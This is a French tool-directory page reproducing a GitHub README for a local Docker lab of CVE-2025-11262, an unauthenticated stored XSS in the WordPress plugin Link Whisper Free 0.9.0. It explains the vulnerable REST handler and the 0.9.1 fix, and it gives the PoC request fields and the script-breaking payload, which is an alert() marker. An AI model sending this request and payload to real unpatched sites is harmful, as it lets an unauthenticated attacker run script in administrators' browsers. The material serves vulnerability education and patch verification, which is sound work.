Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-11262-Lab | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2025-11262-lab
Analyse des VulnérabilitésExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2025-11262-lab

CVE-2025-11262-Lab

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-11262 - XSS aveugle stocké non authentifié dans Link Whisper Free

Résumé exécutif

Ce dépôt contient un laboratoire Docker local pour reproduire CVE-2025-11262, un problème de cross-site scripting stocké non authentifié affectant l'extension WordPress Link Whisper Free.

Le laboratoire compare deux versions de l'extension :

ServiceVersion de l'extensionObjectifURL
vuln0.9.0Cible vulnérablehttp://127.0.0.1:8081
patched0.9.1Cible de comparaison corrigéehttp://127.0.0.1:8082

La chaîne de vulnérabilité démontrée est la suivante :

root@kitploit:~
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version

L'attaquant n'a pas besoin d'être connecté pour implanter la charge utile stockée. Le JavaScript s'exécute plus tard lorsqu'un utilisateur WordPress privilégié ouvre la page d'administration concernée.

Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.

Faits vérifiés

Voici la section Root Cause Summary à insérer dans le README. Elle est sûre pour le public, ne mentionne pas les fichiers internes comme vuln_detail.txt et s'appuie sur le laboratoire/source que vous utilisez actuellement.

Résumé de la cause racine

CVE-2025-11262 est causé par une chaîne d'injection JavaScript stockée dans Link Whisper Free 0.9.0.

Le problème n'est pas un simple appel d'échappement manquant. C'est une chaîne de plusieurs comportements non sécurisés :

root@kitploit:~
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page

Point de terminaison REST non authentifié

Link Whisper Free enregistre un point de terminaison REST d'authentification IA sous le namespace REST de l'extension :

root@kitploit:~
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';

Le point de terminaison est enregistré comme une route POST :

root@kitploit:~
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

Étant donné que le callback de permission est __return_true, le point de terminaison est accessible sans authentification.

Dans le laboratoire, le point de terminaison effectif est :

root@kitploit:~
/wp-json/link-whisper/ai-auth

Cela signifie qu'un attaquant non authentifié peut envoyer une requête au point de terminaison sans session WordPress, nonce ni compte administrateur.

Gestion vulnérable des entrées dans 0.9.0

Dans Link Whisper Free 0.9.0, le gestionnaire lit les paramètres contrôlés par l'attaquant depuis la requête REST :

root@kitploit:~
public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

Le comportement vulnérable est la condition de validation faible :

root@kitploit:~
if(!empty($token) && false !== strpos($token, 'ai-')){

Cette condition vérifie uniquement si le jeton d'accès fourni contient la chaîne ai-.

Il n'y a pas de validation stricte de user_id avant son stockage :

root@kitploit:~
update_option('wpil_ai_access_user_id', $user_id);

Par conséquent, du JavaScript contrôlé par l'attaquant peut être conservé dans la table des options WordPress.

Stockage persistant

La valeur user_id contrôlée par l'attaquant est stockée dans l'option WordPress :

root@kitploit:~
wpil_ai_access_user_id

Dans ce laboratoire, le PoC envoie la charge utile locale suivante :

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

Sur le service vulnérable, la charge utile est stockée comme valeur de wpil_ai_access_user_id.

L'attaquant n'a pas besoin d'être connecté pour implanter la charge utile. La charge utile est implantée via le point de terminaison REST non authentifié.

Puits JavaScript d'administration

La valeur stockée est ensuite récupérée via la logique des paramètres de l'extension :

root@kitploit:~
public static function get_linkwhisper_ai_user_id(){
    return get_option('wpil_ai_access_user_id', '');
}

La valeur est assignée à $ai_id et rendue dans la page d'administration AI Subscription.

Dans Link Whisper Free 0.9.0, la valeur est insérée directement dans une chaîne JavaScript :

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo $ai_id;?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})

Parce que $ai_id n'est pas échappé avant d'être inséré dans le contexte JavaScript, une charge utile stockée peut sortir de la chaîne prévue et exécuter du JavaScript lorsque la page d'administration est ouverte.

Avec la charge utile du laboratoire, le rendu vulnérable devient équivalent à :

root@kitploit:~
body: JSON.stringify({
    ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
    subscription_id: ""
})

Dans un navigateur, la balise fermante </script> injectée termine le bloc de script d'origine, et le bloc <script> injecté s'exécute.

Condition de déclenchement

La charge utile est implantée par un attaquant non authentifié, mais son exécution nécessite qu'un utilisateur WordPress privilégié ouvre la page d'administration concernée :

root@kitploit:~
/wp-admin/admin.php?page=link_whisper_ai_subscription

Dans ce laboratoire, la page concernée est ouverte en tant qu'administrateur WordPress pour déclencher la boîte de dialogue d'alerte.

Cela fait de ce problème un XSS stocké non authentifié ciblant les administrateurs WordPress authentifiés ou les utilisateurs privilégiés qui peuvent accéder à la page d'administration Link Whisper AI Subscription.

Comportement du correctif dans 0.9.1

Link Whisper Free 0.9.1 ajoute une validation plus stricte avant de stocker les valeurs d'authentification IA.

Le gestionnaire corrigé exige que le jeton et l'identifiant utilisateur correspondent à des formats stricts :

root@kitploit:~
if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

La validation importante ajoutée pour user_id est :

root@kitploit:~
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)

Cela empêche que du JavaScript arbitraire soit stocké comme identifiant utilisateur IA.

La version 0.9.1 échappe également la valeur avant de la rendre dans le contexte JavaScript :

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

Le correctif atténue donc le problème à deux niveaux :

root@kitploit:~
Input validation before persistence
Output escaping before JavaScript rendering

Comportement confirmé en laboratoire

Le laboratoire confirme la différence entre 0.9.0 et 0.9.1.

Sur Link Whisper Free 0.9.0 :

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")

Sur Link Whisper Free 0.9.1 :

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert

La réponse HTTP seule ne suffit pas à déterminer si la cible est vulnérable, car les deux versions peuvent renvoyer "ok". La différence comportementale significative est de savoir si la charge utile est persistée puis rendue dans le contexte JavaScript d'administration.

Architecture du laboratoire

Le laboratoire exécute deux instances WordPress isolées et deux bases de données MySQL distinctes via Docker Compose.

root@kitploit:~
.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

Le point d'entrée Docker fait automatiquement ce qui suit :

  • attendre que WordPress et la base de données soient prêts,
  • installer WordPress si nécessaire,
  • activer Link Whisper Free,
  • préparer la page d'administration nécessaire à la reproduction,
  • afficher les identifiants de connexion du laboratoire.

Identifiants administrateur WordPress par défaut pour les deux services :

root@kitploit:~
admin / AdminPassw0rd!

Prérequis

  • Docker Desktop ou Docker Engine
  • Docker Compose v2
  • Python 3
  • Accès Internet pendant la construction des images, car les Dockerfiles téléchargent les paquets de l'extension depuis WordPress.org

Démarrage rapide

Construisez et démarrez le laboratoire :

root@kitploit:~
docker compose down -v
docker compose build --no-cache
docker compose up -d

Vérifiez les conteneurs :

root@kitploit:~
docker compose ps

Services exposés attendus :

root@kitploit:~
Vulnerable target: http://127.0.0.1:8081
Patched target:    http://127.0.0.1:8082

Vous pouvez également suivre les journaux d'installation :

root@kitploit:~
docker compose logs vuln patched

Une installation réussie doit afficher Link Whisper actif dans chaque instance WordPress.

Utilisation du PoC

Exécutez le PoC contre le service vulnérable :

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

Le PoC envoie cette charge utile locale via le point de terminaison REST non authentifié :

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

Après l'exécution du script, ouvrez l'URL d'administration affichée dans un navigateur et connectez-vous avec :

root@kitploit:~
admin / AdminPassw0rd!

Sur le service vulnérable, le navigateur doit afficher une alerte contenant :

root@kitploit:~
CVE-2025-11262-LAB

Pour comparaison, exécutez le même PoC contre le service corrigé :

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

Ouvrez ensuite l'URL d'administration affichée pour le service corrigé. Aucune alerte ne doit être déclenchée.

Sortie attendue

Cible vulnérable :

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

Cible corrigée :

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

La réponse HTTP seule ne suffit pas à déterminer si la cible est vulnérable. La différence importante réside dans le comportement du navigateur après que l'utilisateur privilégié ouvre la page d'administration concernée.

Preuve par capture d'écran

Capture d'écran de l'alerte de vulnérabilité CVE-2025-11262

Cible de capture d'écran suggérée :

root@kitploit:~
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

La capture d'écran doit montrer l'alerte du navigateur avec :

root@kitploit:~
CVE-2025-11262-LAB

Comment fonctionne le PoC

Le PoC est volontairement minimal et ne nécessite qu'une URL cible :

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

Il envoie une requête POST à :

root@kitploit:~
/wp-json/link-whisper/ai-auth

avec les champs de formulaire suivants :

root@kitploit:~
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

Sur le service vulnérable, la valeur stockée est ensuite rendue dans la page AI Subscription. Lorsqu'un administrateur ouvre cette page, le JavaScript s'exécute.

Sur le service corrigé, la même charge utile ne doit pas entraîner d'alerte.

Commandes de vérification utiles

Vérifiez les versions de l'extension :

root@kitploit:~
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper

Vérifiez si le service vulnérable a stocké la charge utile :

root@kitploit:~
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root

Valeur vulnérable attendue :

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

Vérifiez le service corrigé :

root@kitploit:~
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root

Comportement corrigé attendu :

root@kitploit:~
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?

Vérifiez les journaux d'accès au point de terminaison REST :

root@kitploit:~
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'

Atténuation et notes de correctif

Mettez à niveau Link Whisper Free vers 0.9.1 ou une version ultérieure.

Le correctif empêche cette charge utile de laboratoire d'être persistée et rendue en ajoutant une validation plus stricte et un traitement de sortie plus sûr autour du flux d'authentification IA concerné.

Pour les environnements de production, envisagez également :

  • de maintenir les extensions WordPress à jour,
  • de limiter l'accès administratif,
  • de surveiller les requêtes inattendues vers les points de terminaison REST des extensions,
  • d'examiner les valeurs suspectes de type script dans les options WordPress,
  • d'appliquer un filtrage de défense en profondeur lorsque c'est approprié.

Nettoyage

Arrêtez et supprimez les conteneurs, réseaux et volumes :

root@kitploit:~
docker compose down -v

Supprimez les images construites localement si vous le souhaitez :

root@kitploit:~
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true

Limites de sécurité

Ce laboratoire est réservé à la recherche en sécurité locale et à la démonstration contrôlée.

N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.

N'utilisez pas de véritables identifiants, de secrets de production ou de callbacks externes dans ce laboratoire.

Le PoC utilise intentionnellement un marqueur alert() visible comme preuve par capture d'écran. Il n'inclut pas de charges utiles pour le vol d'identifiants, le vol de session, la persistance au-delà du laboratoire ou les actions administratives automatisées.

Références

  • GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
    https://github.com/advisories/GHSA-7h4c-hr9j-8q85

  • Wordfence Intelligence : entrée de la base de données de vulnérabilités de Link Whisper Free
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper

  • Annuaire des extensions WordPress.org : Link Whisper Free
    https://wordpress.org/plugins/link-whisper/

  • Paquet de l'extension WordPress.org utilisé par le laboratoire vulnérable
    https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip

  • Paquet de l'extension WordPress.org utilisé par le laboratoire corrigé
    https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip

  • Navigateur de code source des extensions WordPress : Link Whisper 0.9.0 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php

  • Navigateur de code source des extensions WordPress : Link Whisper 0.9.1 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php

  • Navigateur de code source des extensions WordPress : Link Whisper 0.9.0 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php

Télécharger l’outil
AffirmationPreuveComment vérifier dans ce laboratoire
Link Whisper Free 0.9.0 est vulnérable.Les avis publics identifient les versions de Link Whisper Free jusqu'à 0.9.0 inclus comme étant affectées.Exécutez le PoC contre http://127.0.0.1:8081 et ouvrez l'URL d'administration affichée.
Link Whisper Free 0.9.1 contient le correctif.Les données d'avis public et de journal des modifications identifient 0.9.1 comme la version corrigée.Exécutez le même PoC contre http://127.0.0.1:8082 ; aucune alerte ne devrait apparaître.
L'implantation de la charge utile est non authentifiée.Le PoC envoie une requête POST sans cookies WordPress, connexion ni nonce.Inspectez poc/poc.py ; il nécessite uniquement --url.
L'impact visible se déclenche dans la zone d'administration WordPress.La valeur stockée est rendue lorsque la page Link Whisper AI Subscription est ouverte par un utilisateur privilégié.Après avoir exécuté le PoC, connectez-vous en tant qu'admin et ouvrez l'URL d'administration affichée.
La cible corrigée peut toujours renvoyer "ok" au niveau HTTP.Les tests locaux ont montré que les deux cibles peuvent renvoyer "ok" ; la différence significative réside dans le fait que la charge utile est persistée et exécutée ou non.Comparez le comportement du navigateur sur 8081 et 8082.
  • Navigateur de code source des extensions WordPress : Link Whisper 0.9.1 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php